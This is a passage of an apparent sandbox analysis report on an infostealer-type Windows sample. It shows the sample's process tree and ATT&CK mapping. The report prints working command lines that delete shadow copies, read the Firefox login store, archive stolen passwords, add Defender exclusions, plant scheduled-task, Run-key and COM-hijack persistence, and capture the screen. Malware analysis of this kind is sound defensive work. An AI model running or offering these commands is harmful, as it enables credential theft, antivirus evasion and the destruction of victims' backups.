C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe /T 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM browser.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic shadowcopy call create Volume=C:\"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy call create Volume=C:\3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "vssadmin list shadows"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin list shadows3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /debug+ /optimize- /platform:x86 /target:exe /win32manifest:"C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\0qaj5zc8.manifest" /out:"C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\GoogleUpdate.exe" "C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\0qaj5zc8.cs""2⤵
- Executes a command shell one-liner
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /debug+ /optimize- /platform:x86 /target:exe /win32manifest:"C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\0qaj5zc8.manifest" /out:"C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\GoogleUpdate.exe" "C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\0qaj5zc8.cs"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE833.tmp" "c:\Users\Admin\AppData\Local\Temp\ck_1793603052903\CSC898C42C3A8234ED782C2E4799B3DA824.TMP"4⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\GoogleUpdate.exe"C:\Program Files\Google\Chrome\Application\GoogleUpdate.exe" AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA56fnp7cPp0O9+MTNMhhuzBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAAC/fdDdUIoA6VQ88BVkxrpqGq8cwRYDpf03UfcNLuFCAAAAAA6AAAAAAgAAIAAAAIN+TT7iwd8VnGcsh09rKQ+TvWUe5pY6gsy0kfBrthsJkAEAAHdMfBqPeUaweKEOL8DoLdqbeG1PDpUmED6SfMmnPM8eTcbEEhgk1fHfFVTaWaOjbKbyiVt4bM5ZcuHIs2wPqGDjtYxjG3S4Krn2bdwr6C/8PDRGV0wQte8GwZkCT8H2iVLOYNdtl3b8Rj8trnBivI+TJLYiZCxggJSm4ft2aeCBpQjzNj/VSdxWw+ogiD0xm7vG+etJRqXLfB8XORdqOf0XEZFA8WGkYBR/Pm3ZuxiEQO85/XAeaOTNlXpegppRM9mOwt/0NOlv/XA3j3QJv3Ozw4HhlxDVuq6RuSVYx6otKKLiB1Xh5KpW2nmzlG77HJWHQfORBuTX4ITY3/9GA8dCjavRzUVl0ZO9H+Z2JJ+XEIoRcpB5k2tvvBk90ecXJVrNDY63/BHD9IDQrMlAKTxSSPzvPPDuqiaueOLZDTN74ixtEf0YI9X967A3g7vfRc8MfL0rDo8NQJOwQgUU8bLj1SHqR8XbMgUbFczAw6Hpu8sh+dJzuGL1ukJY0eNDfjXYaC+M8LizIItoNClWQuhAAAAAc9l78VmsScqp9QM79H5j60HCfucS+cjEI3yEt1BkojM/2OAooS/FS2XVKJgL08L7H15F1GJvZI/9r6FNA50U+w==2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "System_6p8fzy4z" /TR "powershell -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\d6p8fzy4z.ps1\"" /SC ONCE /ST 00:00 /RU SYSTEM /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN "System_6p8fzy4z" /TR "powershell -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\d6p8fzy4z.ps1\"" /SC ONCE /ST 00:00 /RU SYSTEM /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Run /TN "System_6p8fzy4z""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Run /TN "System_6p8fzy4z"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "System_6p8fzy4z" /F"2⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "System_6p8fzy4z" /F3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "type "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\hjr3qzeo.default-release\logins.json""2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\BrowserData', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\autofill', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\passwords' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\905336650.zip' -Force""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\BrowserData', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\autofill', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\passwords' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\905336650.zip' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "vssadmin delete shadows /Shadow=%{00000000-0000-0000-0000-000000000000}% /Quiet 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /Shadow=%{00000000-0000-0000-0000-000000000000}% /Quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic shadowcopy where "ID like '%'" delete"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy where "ID like '%'" delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM RiotClientServices.exe /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM RiotClientServices.exe /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "javaw.exe" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM "javaw.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "Minecraft.exe" /F"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM "Minecraft.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "lunar client.exe" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM "lunar client.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "lunarclient.exe" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM "lunarclient.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "TLauncher.exe" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM "TLauncher.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "tlauncher.exe" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM "tlauncher.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "Badlion Client.exe" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM "Badlion Client.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "badlion.exe" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /IM "badlion.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +H +S "C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\WindowsUpdateCache.exe""2⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +H +S "C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\WindowsUpdateCache.exe"3⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
-
C:\Windows\system32\net.exenet session3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" 2>nul"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionProcess '2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'" 2>nul"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionProcess '2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "Adobe Acrobat Update Task" /F"2⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Adobe Acrobat Update Task" /F3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "Adobe Acrobat Update Task" /XML "C:\Users\Admin\AppData\Local\Temp\~DFmvywyqe8.tmp" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN "Adobe Acrobat Update Task" /XML "C:\Users\Admin\AppData\Local\Temp\~DFmvywyqe8.tmp" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunch" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"" /f"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunch" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"" /f3⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywyqkm.vbs""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywyqkm.vbs"3⤵
- Creates a file in the Startup directory
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +H "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk""2⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +H "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk"3⤵
- Creates a file in the Startup directory
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywyqqf.vbs""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywyqqf.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe" /f"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe" /f3⤵
- Modifies registry class
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f3⤵
- Modifies registry class
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap $bounds.Width,$bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bmp); $graphics.CopyFromScreen($bounds.X,$bounds.Y,0,0,$bounds.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\screen_1793603082031.png'); $graphics.Dispose(); $bmp.Dispose()""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap $bounds.Width,$bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bmp); $graphics.CopyFromScreen($bounds.X,$bounds.Y,0,0,$bounds.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\screen_1793603082031.png'); $graphics.Dispose(); $bmp.Dispose()"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ck_1793603052903\d6p8fzy4z.ps1"1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Hide Artifacts
2Hidden Files and Directories
2Indicator Removal
3Clear Persistence
1File Deletion
2Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
595498962.zip
RES6F2B.tmp
RESE833.tmp
GoogleUpdate.exe
GoogleUpdate.pdb
duqt2gcft.ps1
duqt2gcft_i.tmp
duqt2gcft_o.tmp
GoogleUpdate.exe
GoogleUpdate.pdb
no_cards_found.txt
d6p8fzy4z.ps1
binding.gyp
index.d.ts
index.js
package.json
node.napi.node
dpapi_addon.h
dpapi_not_supported.cpp
dpapi_win.cpp
main.cpp
dpapi.spec.ts
screen_1793603053295.png
~DFmvywy463.tmp
~DFmvywyqe8.tmp
~mvywy4bw.vbs
~mvywy4hn.vbs
~mvywyqkm.vbs
Microsoft Edge.lnk
OneDrive.lnk
__PSScriptPolicyTest_35ivft3j.ohn.ps1
StartupProfileData-NonInteractive
CSC9CD1CDB26261451FBD893F8C13A6DF77.TMP
mi0m3t73.cs
mi0m3t73.manifest
memory/124-135-0x00000214F0080000-0x00000214F00E3000-memory.dmp
memory/624-103-0x0000017072660000-0x0000017072712000-memory.dmp
memory/624-105-0x00000170722D0000-0x0000017072333000-memory.dmp
memory/796-211-0x00000271BFC60000-0x00000271BFCC3000-memory.dmp
memory/2028-151-0x0000029F2AB10000-0x0000029F2AB73000-memory.dmp
memory/2504-85-0x0000016837550000-0x00000168375B3000-memory.dmp
memory/2504-45-0x0000016837AC0000-0x0000016837B08000-memory.dmp
memory/2960-28-0x0000000000270000-0x0000000000278000-memory.dmp
memory/3864-67-0x0000016231C00000-0x0000016231C0A000-memory.dmp
memory/3864-75-0x0000016231880000-0x00000162318E3000-memory.dmp
memory/3864-69-0x0000016231C00000-0x0000016231C0A000-memory.dmp
memory/3864-68-0x0000016231C10000-0x0000016231C22000-memory.dmp
memory/3864-66-0x0000016231C30000-0x0000016231CE2000-memory.dmp
memory/3864-65-0x0000016231C10000-0x0000016231C2E000-memory.dmp
memory/4180-166-0x000001642F300000-0x000001642F363000-memory.dmp
memory/5792-51-0x000001FC7D090000-0x000001FC7D0F3000-memory.dmp
memory/5792-46-0x000001FC7D5C0000-0x000001FC7D610000-memory.dmp
memory/5792-36-0x000001FC7D110000-0x000001FC7D132000-memory.dmp
memory/5944-181-0x0000023960090000-0x00000239600F3000-memory.dmp
memory/6016-227-0x0000000000EA0000-0x0000000000EA8000-memory.dmp
memory/6136-120-0x0000028D32970000-0x0000028D329D3000-memory.dmp